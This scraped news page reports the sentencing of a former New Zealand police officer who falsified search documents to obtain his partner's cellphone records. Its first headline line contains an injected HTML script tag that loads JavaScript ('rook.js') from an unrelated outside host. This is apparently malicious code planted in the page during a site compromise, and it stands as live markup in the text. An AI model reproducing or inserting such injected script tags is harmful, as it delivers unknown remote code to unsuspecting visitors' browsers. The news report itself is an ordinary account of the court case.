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NEWS > 21 July 2006

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DISGRACED: former police offic<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Stuff.co.nz - Wellington,New Z
21 July 2006
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To view it in its entirity click this link.
DISGRACED: former police offic

Police officer's check on love

A former police officer who falsified documents so he could check whether his partner was cheating on him has escaped a jail sentence.


Peter James McCutcheon was sentenced in the Greymouth District Court yesterday to 300 hours community service.

McCutcheon, 44, last month admitted two charges of making a false statement, one of making a false statement under oath and two of falsely using information request forms to obtain a service.

He wanted to check the cellphone records of his partner, also a police officer, whom he suspected was having an affair when she was out of the region in the middle of last year.

McCutcheon resigned from the police about two months ago.

Leaving the Greymouth District Court yesterday, his 14-year police career over, he said he had no idea what his future held.

Defence counsel Steve Hembrow told the judge it was tragic that McCutcheon found himself in court.

"By all accounts he was very good at it (policing). He was held in high regard as a country cop – a dying breed," Hembrow said.

However, Hembrow's position allowed him to obtain records of the phones his partner was using. One of the phones was his own, and he could have accessed the records legally.

When McCutcheon thought his partner was having an affair he became distressed, Hembrow said.

"While filling out a search affidavit for a legitimate matter, it dawned on him that he could confirm his suspicions or put his mind at rest by adding her number to the search warrant and getting the records off Telecom and Vodafone. That's the biggest mistake of his life," Hembrow said.

He later admitted to his partner that he had monitored her calls. They were still together.

"He is still at a loss to explain how his judgment got so wildly out of sync ... It is clearly evident he is not a person you or any court will see again," Hembrow told the judge.

McCutcheon had no financial gain or career advancement and did not intend "fitting someone up".

"He just wanted to know who his partner had been talking to on the phone," Hembrow said.

Prison as a deterrent was not appropriate because the circumstances were unique, he said.

Judge Brian Callaghan said McCutcheon's previous good record and early admission of guilt did not warrant prison but instead 300 hours community work.

The judge said he accepted the circumstances were unique, but the worst aspect was the terrible breach of trust McCutcheon, as a sworn officer, had demonstrated by duping others.

McCutcheon's turmoil could not excuse his conduct, but could, for most people, explain why he acted as he did, the judge said. McCutcheon was no danger.

West Coast Inspector Vern Morris said outside the court that the sentence was appropriate.
 

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